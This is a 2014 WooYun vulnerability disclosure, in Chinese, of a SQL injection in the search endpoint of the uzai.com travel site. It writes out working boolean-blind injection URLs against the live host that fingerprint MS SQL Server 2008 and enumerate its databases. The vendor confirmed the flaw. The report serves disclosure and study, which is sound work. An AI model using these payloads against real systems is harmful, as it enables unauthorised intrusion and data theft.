当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064088

漏洞标题:悠哉旅游网SQL注射漏洞

相关厂商:悠哉旅游网

漏洞作者: Undoit

提交时间:2014-06-08 17:51

修复时间:2014-07-23 22:20

公开时间:2014-07-23 22:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-08: 细节已通知厂商并且等待厂商处理中
2014-06-09: 厂商已经确认,细节仅向厂商公开
2014-06-19: 细节向核心白帽子及相关领域专家公开
2014-06-29: 细节向普通白帽子公开
2014-07-09: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

悠哉旅游网SQL注射漏洞

详细说明:

0.请求:http://search.uzai.com/search/wordlink?q=g&ran=0.07143457215560722&searchCallBack=jsonpCallback&_=1402214741100
注入参数:q
1.判断是否存在注入
http://search.uzai.com/search/wordlink?q=g%2527&ran=0.07143457215560722&searchCallBack=jsonpCallback&_=1402214741100 报错

yz1.jpg


http://search.uzai.com/search/wordlink?q=g%25%2527 and 1=1 and %2527%25%2527=%2527&ran=0.07143457215560722&searchCallBack=jsonpCallback&_=1402214741100 正常返回

yz2.jpg


http://search.uzai.com/search/wordlink?q=g%25%2527 and 1=2 and %2527%25%2527=%2527&ran=0.07143457215560722&searchCallBack=jsonpCallback&_=1402214741100 无返回

yz3.jpg


2.手动获取一些信息
http://search.uzai.com/search/wordlink?q=g%25%2527 and exists (select count(*) from sysobjects) and %2527%25%2527=%2527&ran=0.07143457215560722&searchCallBack=jsonpCallback&_=1402214741100 正常返回,说明数据库为 MS SQL Server

yz4.jpg


http://search.uzai.com/search/wordlink?q=g%25%2527 and substring((select @@version),22,4)=2008 and %2527%25%2527=%2527&ran=0.07143457215560722&searchCallBack=jsonpCallback&_=1402214741100 正常返回,其他(=2000,=2003)无返回,说明数据库版本为MS SQL Server 2008

yz5.jpg


http://search.uzai.com/search/wordlink?q=g%25%2527 and (select count(*) from master.dbo.sysdatabases where dbid=24)=1 and %2527%25%2527=%2527&ran=0.07143457215560722&searchCallBack=jsonpCallback&_=1402214741100 正常返回,=25 无返回,说明有24个数据库

yz6.jpg


http://search.uzai.com/search/wordlink?q=g%25%2527 and (select count(*) from master.dbo.sysdatabases where dbid=24 and len(name)=8)=1 and %2527%25%2527=%2527&ran=0.07143457215560722&searchCallBack=jsonpCallback&_=1402214741100 返回正常,其他(=7,=9)无返回,说明dbid=24的数据库的长度为8.

yz7.jpg


使用自动化工具就可以获取全部数据库数据,这里就不深入了...

漏洞证明:

数据库为 MS SQL Server 2008
24个数据库
没猜错吧,具体数据就不深入了

修复方案:

过滤

版权声明:转载请注明来源 Undoit@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-09 17:54

厂商回复:

马上处理。

最新状态:

暂无